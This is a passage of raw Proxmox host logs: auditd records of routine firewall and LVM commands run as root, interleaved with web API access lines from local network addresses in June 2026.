comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964076572,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964145690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.690:59765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.617:68663): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965434155,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=EXECVE msg=audit(1781964539.751:61454): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966154624,"@rawstring":"node=pve type=EXECVE msg=audit(1781966154.624:68657): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964865744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.744:62973): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa5f4f6b0 a1=62ce06cdc410 a2=62ce06cba680 a3=5 items=1 ppid=60420 pid=60421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.402:66051): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075572,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964144438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964144.438:59764): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7140 a1=64f8d73b3040 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.608:68660): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965434155,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964535445,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.445:61451): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966154601,"@rawstring":"node=pve type=EXECVE msg=audit(1781966154.601:68656): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964865665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.665:62955): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc68468b30 a1=5a0ea84163d0 a2=5a0ea83f4680 a3=5 items=1 ppid=60401 pid=60402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.402:66050): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964072633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964144401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964144.401:59763): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417640 a1=64f8d514f5c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966154.624:68657): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e08f0 a1=64f8d741b6b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65931 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965434155,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964535441,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.441:61450): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966150586,"@rawstring":"node=pve type=EXECVE msg=audit(1781966150.586:68655): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964860918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.918:62945): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.395:66048): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964072633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.082:59762): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966154.601:68656): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bc090 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 908"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.440:61449): argc=1 a0=\"date\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=EXECVE msg=audit(1781966150.577:68652): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964860918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.918:62944): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.395:66047): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964071687,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.077:59759): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.586:68655): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964535437,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.437:61447): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966145789,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.789:68649): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964860910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.910:62942): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.385:66042): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964068599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.067:59756): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.577:68652): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964535431,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.431:61446): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145785,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.785:68648): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.910:62941): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.384:66041): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964067595,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.060:59753): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.789:68649): arch=c000003e syscall=59 success=yes exit=0 a0=5d547547db60 a1=5d5475489a70 a2=5d5475457680 a3=5 items=2 ppid=65919 pid=65925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965430727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964535425,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.425:61445): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.784:68647): argc=1 a0=\"date\""} {"@timestamp":1781964855899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.899:62939): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.374:66039): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964066584,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964135677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.677:59750): arch=c000003e syscall=59 success=yes exit=0 a0=6271f41be0a0 a1=6271f41bae20 a2=6271f419c680 a3=5 items=2 ppid=57377 pid=57383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.785:68648): arch=c000003e syscall=59 success=yes exit=0 a0=5d5441ef1ac8 a1=7ffe7712f950 a2=5d5475457680 a3=5d5441ed524e items=2 ppid=65919 pid=65921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965430727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964535418,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.418:61444): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.778:68645): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964855899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.899:62938): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.374:66038): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964064553,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964135673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.673:59749): arch=c000003e syscall=59 success=yes exit=0 a0=6271e74dbac8 a1=7ffcef77bb50 a2=6271f419c680 a3=6271e74bf24e items=2 ppid=57377 pid=57379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.784:68647): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7712f910 a1=5d5475479200 a2=5d5475457680 a3=5 items=2 ppid=65919 pid=65920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965430727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964535412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.412:61443): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966145768,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.768:68644): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964855890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.890:62936): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.800:66034): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdbeeb60f0 a1=634a6f48e310 a2=634a6f487680 a3=5 items=1 ppid=63421 pid=63422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964063556,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1023"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.672:59748): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcef77bb10 a1=6271f41a3310 a2=6271f419c680 a3=5 items=2 ppid=57377 pid=57378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.778:68645): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965430727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964535407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.407:61441): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966145760,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.760:68643): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964855890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.890:62935): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.525:66016): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe803d6880 a1=5de11189d310 a2=5de111896680 a3=5 items=1 ppid=63402 pid=63403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964060653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:00:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964135668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.668:59746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.768:68644): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965428103,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964535402,"@rawstring":"node=pve type=EXECVE msg=audit(1781964535.402:61440): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966145752,"@rawstring":"node=pve type=EXECVE msg=audit(1781966145.752:68642): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964855617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.617:62931): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3c0d14a0 a1=56ee3cc1f310 a2=56ee3cc18680 a3=5 items=1 ppid=60381 pid=60382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965533.363:66006): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 